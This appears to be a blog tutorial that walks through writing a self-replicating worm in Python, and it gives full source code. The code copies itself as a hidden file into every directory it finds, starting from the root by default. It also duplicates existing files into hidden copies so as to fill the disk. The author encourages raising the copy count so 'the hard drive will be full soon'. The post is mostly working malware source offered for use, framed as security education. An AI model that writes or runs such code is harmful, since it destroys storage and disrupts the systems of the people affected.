Write a Worm (Malware) in Python

4 minute read

Worm is type of malware that replicates itself and other files to consume spaces in our hard drives. You may find your drives or partitions get full without any visible reason and that might happen because of a worm.

A Worm is different than a computer Virus in a way that typical viruses only infects files and worms replicates files and keep the duplicates out of sight (as hidden files).

In this post, we will learn what are the characteristics of a Worm by writing a basic one in python. If you are interested to write other types of malwares, you can look into my previous posts:

Requirements

We will need two modules to write a worm. Here, os is the most important module and we will utilize it to list all files and directories alongside retrieving the absolute paths.

shutil is used to copy file contents. There are obviously other ways to do it, however, I chose to do it using shutil.copyfile() method.

import os
import shutil

Worm Class

First, let’s create a Worm class and a initializer method to pass initial arguments to our created class.

class Worm:
    
    def __init__(self, path=None, target_dir_list=None, iteration=None):
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(target_dir_list, type(None)):
            self.target_dir_list = []
        else:
            self.target_dir_list = target_dir_list
            
        if isinstance(target_dir_list, type(None)):
            self.iteration = 2
        else:
            self.iteration = iteration
        
        # get own absolute path
        self.own_path = os.path.realpath(__file__)

Here, we have three arguments:

  • path: defines where to start looking for directories (default is set to the root directory /)
  • target_dir_list: user can pass a list of initial target directories. By default it is an empty list []
  • iteration: I used this parameter to define how many instances the worm will create for each existing file in a directory (default value is 2 only for testing purpose, you can increase or decrease the number, or better provide valur while creating an object of the class)

Method to list all Directories and Subdirectories

The first method we need is to list all the target directories and subdirectories where we want to copy our worm and existing files in the directories.

Here, I am avoiding hidden files as it includes the parent directories as well (hidden files starts with dot . in Linux or macOS). Other than that it adds a file (directories are also called as file in Unix-based file systems) if it is a directory and recursively does so for all of the subdirectories.

    def list_directories(self,path):
        self.target_dir_list.append(path)
        files_in_current_directory = os.listdir(path)
        
        for file in files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                print(absolute_path)

                if os.path.isdir(absolute_path):
                    self.list_directories(absolute_path)
                else:
                    pass

Method to Replicate the Worm

To replicate the script itself in all the target directories, we get the absolute path of the script we are running, and than copy the contents in the destination directories creating a new hidden file (starts with a dot .) with the same name.

    def create_new_worm(self):
        for directory in self.target_dir_list:
            destination = os.path.join(directory, ".worm.py")
            # copy the script in the new directory with similar name
            shutil.copyfile(self.own_path, destination)

Method to copy existing Files

The following method will be used to duplicate files the number of times the value we have from the iteration argument. You can put a large number so that the hard drive will be full soon.

    def copy_existing_files(self):
        for directory in self.target_dir_list:
            file_list_in_dir = os.listdir(directory)
            for file in file_list_in_dir:
                abs_path = os.path.join(directory, file)
                if not abs_path.startswith('.') and not os.path.isdir(abs_path):
                    source = abs_path
                    for i in range(self.iteration):
                        destination = os.path.join(directory,("."+file+str(i)))
                        shutil.copyfile(source, destination)

Method to integrate everything

In this method, we will call all of our previous methods. So, when we call this method using our created object, the worm will start all the actions sequentially. If you want a timer or datetime, you can add that functionality. Just check the post: Write a Simple Virus in Python. I have added functionality in that post.

    def start_worm_actions(self):
        self.list_directories(self.path)
        print(self.target_dir_list)
        self.create_new_worm()
        self.copy_existing_files()

Main Function

Now, let’s create our main function and run the code

if __name__=="__main__":
    current_directory = os.path.abspath("")
    worm = Worm(path=current_directory)
    worm.start_worm_actions()

The whole code is available in Github

Here, to avoid getting our own drive filled up, let’s use the existing directory only using os.path.abspath(""), and pass that as argument while creating an object of the Worm class. Finally we call the integrating method and we are good to go!

You can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.

Intro to Cybersecurity in Python

Also, the associated blog post links are available in the ReadMe file over there.

Have a good day! Cheers!!!

Leave a Comment